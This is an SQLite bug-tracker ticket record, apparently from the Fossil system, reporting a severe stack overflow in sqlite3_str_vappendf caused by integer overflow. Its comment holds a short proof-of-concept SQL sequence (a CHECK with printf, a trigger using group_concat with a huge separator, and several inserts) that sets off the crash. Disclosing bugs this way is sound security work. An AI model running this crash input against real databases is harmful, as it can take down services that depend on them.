/ Artifact [e6eaff95c9]
Login

Artifact e6eaff95c92ac3cd0bc42f001dc3d512d2e32f13563a906af961192fdc7bdd3c:

Ticket change [e6eaff95c9] - New ticket [23439ea582241138|23439ea582] <i>Stack overflow in sqlite3_str_vappendf, caused by int overflow</i>. by yongheng 2020-05-23 17:52:02.
D 2020-05-23T17:52:02.869
J icomment Affected\slatest\srelease\sversion.\s\r\n\r\nPOC:\r\n---\r\nCREATE\sTABLE\sa(b\sDOUBLE\sCHECK(\sNOT\sCASE\sWHEN\sprintf(b,\sb)\sTHEN\s0\sEND)\sUNIQUE\sON\sCONFLICT\sREPLACE);\r\nCREATE\sTRIGGER\sc\sINSERT\sON\sa\sBEGIN\sINSERT\sINTO\sa\sSELECT\sgroup_concat(b,\s2147483647)\sFROM\sa;END;\r\nINSERT\sINTO\sa(b,\sb,\sb)\sVALUES(NULL,\s9,\s3);\r\nUPDATE\sa\sSET\sb\s=\s0;\r\nINSERT\sINTO\sa\sVALUES('GERMANY''s%'),\s('Y'),\s('Brand#23')\r\n---
J login yongheng
J mimetype text/plain
J severity Severe
J status Open
J title Stack\soverflow\sin\ssqlite3_str_vappendf,\scaused\sby\sint\soverflow
J type Code_Defect
K 23439ea5822411389c8edac234c08f2cc27ef3e9
U yongheng
Z 50d95b54d816ba7f23db7c3a7abea835